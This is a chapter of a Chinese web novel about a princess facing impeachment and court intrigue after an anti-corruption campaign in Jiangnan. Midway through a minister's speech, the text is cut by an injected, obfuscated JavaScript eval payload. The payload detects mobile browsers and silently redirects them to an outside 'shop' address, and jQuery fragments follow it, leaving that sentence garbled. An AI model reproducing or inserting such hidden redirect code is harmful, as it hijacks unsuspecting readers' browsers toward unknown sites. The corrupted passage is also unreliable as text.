125. 前路

作品:《公主的造反日志

    长乐宫内,熏香袅袅,隔绝了外界的喧嚣。


    李乐安倚在窗边榻上,闭目养神。


    江南一行她大获全胜,却也让自己成了众矢之的。扳倒那里的贪腐势力,断了无数人的财路。那些恨她的人,此刻恐怕正摩拳擦掌,编织着各种罪名等着往她头上扣。


    她需要想清楚接下来的路。


    硬碰硬?那是下策。眼下她还不能和那盘根错节的利益网,和那些所谓的“礼法”正面相抗。目前皇帝的信任是她最大的护身符,但这份信任能经受住多少谗言的消磨?


    半晌,她缓缓睁开眼,眸光清澈而冷静。


    以退为进,藏锋于内。


    她不能贪恋眼前的风光,得主动退下来。把自己重新藏回公主的身份里。让那些攻击找不到靶子,才能保住自己,保住埋下的那些火种。


    “锋芒……”她轻声自语,余下的轻语消散在夜色中。


    与此同时,昌陵侯府的气氛也有些微妙。


    冯昱一回家,就急着跟父亲昌陵侯冯毅说起江南见闻,满脸兴奋,“爹,您没看见,殿下那真是雷厉风行……”


    “行了。”昌陵侯冯毅皱着眉打断小儿子,这小子一提起晋元公主,就跟信徒见了神佛似的,让人头疼。


    他将目光转向一旁沉默许多的长子冯晟,“晟儿,你来说说。”


    冯昱被父亲一噎,只好闭嘴,也竖起耳朵听。


    冯晟坐得端正,闻声抬眼,语气平静,“父亲,公主殿下思虑周全,行事果断,在江南那潭浑水里能直击要害,迅速破局,事后安排也井井有条。儿……敬佩之至。”他的话比冯昱客观,却同样表明了态度。


    昌陵侯端着茶的手微微一顿。他“嗯”了一声,没再问,眼中却掠过一丝思虑。


    入夜,书房里只亮着一盏灯。昌陵侯单独叫来了冯晟。


    “坐。”昌陵侯指指对面,灯光将他脸上的皱纹照得更深,“你跟为父说实话。你今天那些话,是真觉得公主做得好,还是……另有想法?”


    冯晟没有立刻回答。书房很安静,只偶尔响起灯花的轻响。


    “父亲,”冯晟开口,声音平稳,“您觉得,四皇子殿下,会是明君吗?”


    昌陵侯没想到儿子会突然反问这个,眉头一紧,“慎言!此事岂是你能随意置评的?”但他沉吟片刻,还是低声道,“四皇子殿下……年轻,有些急功近利,但大体上,也不算昏聩之辈。”


    “那公主呢?”冯晟直视父亲。


    昌陵侯瞳孔一缩,紧紧盯住儿子,压低声音喝道:“荒唐!你知道你在说什么吗?自古以来可有此例?这不仅是与皇子、与整个宗室为敌,更是……在挑衅千百年来的规矩礼法!真到了那一步,掀起的就不仅是江南那样的风浪,而是滔天血海!朝局动荡,天下不稳,你担得起吗?”


    他的语气严厉,带着久居高位者对破坏现有秩序的本能忌惮和警告。


    冯晟并没被吓住,嘴角甚至弯起一丝近似嘲讽的弧度,“规矩礼法?”他重复了一遍这四个字,声音里带着压抑的凉意,“父亲,我在大理寺审的案子还少吗?那些满口规矩礼法、仁义道德的人,自己又何曾真守过?”


    他顿了顿,直视着昌陵侯的眼睛,“这规矩对他们有利,他们就拿出来当盾牌,堵别人的嘴,护自己的权。这规矩碍着他们了,他们什么伤天害理的事做不出来?贪赃枉法、草菅人命、卖官鬻爵、通敌叛国……哪一桩、哪一件,合他们嘴上说的‘规矩’了?”


    “江南的盐政、漕运,烂到了根子里,牵涉多少高门显贵?他们吸食民脂民膏时,可想过礼法?康本清的门生故旧遍布朝野,结党营私时,可想过礼法?如今公主不过是依法办事,动了他们的奶酪,他们倒一个个跳出来,高举礼法大旗,要置公主于死地了。”


    冯晟声音不高,字字却清晰,落在寂静的书房里。灯光下,他向来沉稳的脸上,隐隐透出几分多年前初入官场时,那份想要涤荡污浊的锐气。


    昌陵侯沉默了。他看着长子,清楚看见他眼底深埋的东西。是啊,长子当年何等意气风发,立志要扫清天下冤屈,还世道一个公道。是自己看着他被现实一次次挫磨,看着他慢慢学会妥协、学会周全,学会在那潭浑水里小心行走,磨平棱角,变得沉默稳重。


    可这一趟江南之行回来,那些被深埋的、属于年轻人的锐利与理想,似乎又被点燃了。


    昌陵侯靠回椅背,长长叹了口气。他没再斥责,也没赞同,只觉得一阵深深的疲惫和茫然。长子的话,像一把锥子,刺破了许多他宁愿不去细想的真相。


    窗外夜色浓重,京城的万家灯火下,不知涌动着多少暗流与即将到来的风暴。


    清晨的清泰殿,气氛比往日更加凝滞。阳光透过高高的窗棂,在光洁的金砖上投下冰冷的光斑,却驱不散殿内那股无形的紧绷。


    龙椅上,皇帝面容平静,看不出喜怒,只示意今日有本早奏。


    很快,一位身着青色御史袍服的官员出列躬身,声音难掩激动,“臣有本启奏!”


    “讲。”


    “臣要弹劾晋元公主李乐安!”那御史抬起头,目光灼人,“公主殿下奉旨巡狩江南,固然辛苦,然其行事手段,臣以为有失仁厚,更损朝廷体面!”


    他深吸一口气,开始列举,“公主在江南,动辄抄家问斩,牵连者众。仅陵州一案,伏法者数十,家破人亡者不计其数!江南本是鱼米之乡,繁华富庶,如今却人心惶惶,市井萧条,商旅不敢行,士绅闭门自危!如此腥风血雨,岂是朝廷仁德治天下所应为?公主查案虽勤,然株连过广,刑戮过重,江南已如炼狱!长此以往,恐令天下百姓误以为陛下崇尚严刑,有伤陛下仁德圣名啊!”


    他言辞恳切,甚至声带颤音,仿佛亲眼见到了江南惨状。


    话音甫落,一个沉稳的声音响起:“臣冯晟,以为不然。”


    众人目光转向出列的大理寺官员冯晟。他姿态端正,语速平缓:“江南积弊深重,贪腐已非一日,上下勾结,盘根错节。若不用重典,如何震慑宵小,破除积□□殿下所查办之人,皆有实据,按律当惩,何来‘株连’之说?若说江南因此人心惶惶,敢问刘御史,是良善百姓惶惶,还是那些蠹虫污吏惶惶?江南商旅不行,是因朝廷肃贪而惧,还是因漕运、盐务通路曾被贪墨者把持而断?请陛下明察。”


    一名老翰林紧接着出列,颤声道:“即便如此,老臣仍以为不妥!公主殿下金枝玉叶,尊贵无比,本该垂范天下,彰显皇室仁爱宽厚,岂可亲掌生杀大权?女子专杀,牝鸡司晨,非国家之福,非祖宗法度所允啊!”


    他顿了顿,痛心疾首道:“古语有云,‘刑不上大夫’,非不惩也,乃为礼,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845341|181556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为体。公主如此越俎代庖,悍然行刑,岂非将朝廷法司置于何地?又将皇室体统置于何地?此非国家之福!”


    殿内一时陷入低声议论。


    皇帝只是静静听着,手指在龙椅扶手上轻轻点着,未发一言。


    此时,御史中丞廖文序缓步出列。他年约五十,面容清癯,在都察院中素有刚直之名。他先向御座一礼,“陛下,臣廖文序有言。”


    “冯少卿所言,臣以为有理。晋元公主此番江南之行,所行皆有明证,所惩皆依国法。漕运、盐政之弊,非雷霆手段不足以荡涤。所谓株连过广,刑戮过重,若非如此,恐难撼动其根基。此乃为朝廷除害,为百姓申冤,功绩当予肯定。”


    他话锋微转,语气多了几分审慎:“然,老翰林所言‘女子专杀’之虑,臣亦以为,不可不察。国朝自有法司,生杀予夺终须循例而行。公主殿下此番乃持陛下特旨,奉令行事,权宜之计。此非常态,亦不可为常例。祖宗法度,内外有别,乃维系朝纲社稷之根本,确不宜轻动。臣以为,公主殿下之功当赏,其行事之权则当于事后归于有司,以全法度。”


    紧接着,礼部侍郎沈鸿出列。


    “陛下,晋元公主殿下之功,臣等不敢抹杀。然,《周礼》定分,《内则》明训,妇人无外事,后宫不干政,此乃祖宗法度,维系纲常之基!公主殿下虽有才具,然其身份,终究是内宫之人。”


    他的声音在寂静的大殿里回荡:“名器不可假人,权柄不可轻授。陛下授予公主巡查之权,已是逾格之恩。然公主殿下在江南,决狱断案,生杀予夺,俨然封疆大吏,此已非‘巡查’,实乃‘摄政’!今日以公主之身掌生杀,他日何以规训后宫?皇室内外之别,君臣之分,又将何在?”


    他越说越激动,脸都涨红了,“陛下!此例万不可开啊!今日有公主干预外朝,明日便可能有后妃效仿,长此以往,外戚必趁机弄权,牝鸡司晨,国将不国!臣非针对公主个人,实是为我大邺江山社稷、万世基业而忧!请陛下明察,收回公主逾制之权,重申祖宗法度,以正朝纲!”


    殿内的气氛压抑到了极点。所有目光都偷偷瞟向龙椅上的皇帝。


    皇帝依旧没什么表情,目光缓缓扫过下方慷慨陈词或低头不语的臣子们。


    他没有立刻驳斥,也没有表示赞同,只是用那听不出情绪的平稳声音问道:“还有谁要奏?”


    短暂的沉默后,又有两三名官员出列,或补充或强调,内容大同小异,核心都是攻击李乐安手段酷烈、逾越本分、破坏祖制。


    李乐安俨然成了朝堂上需要被口诛笔伐、严厉约束的祸患之源。


    皇帝听完了所有人的话,沉默了更长一段时间。这沉默让殿中某些人心中暗喜,觉得皇帝听进去了。也让另一些人感到不安,不知圣意究竟如何。


    终于,皇帝开口。


    “诸卿所奏,朕已知晓。晋元公主江南之事,功过是非自有公论。至于祖宗法度,朕时刻铭记于心。”


    “退朝。”


    皇帝起身离开,留下满殿心思各异的臣子。但谁都知道,这场针对李乐安的围剿,才刚刚开始。皇帝的态度暧昧,更给了反对者继续发力的空间和想象。下朝的路上,已经有人三三两两凑在一起,低声议论,眼神闪烁。


    风暴的云层,正朝着长乐宫的方向,沉沉压去。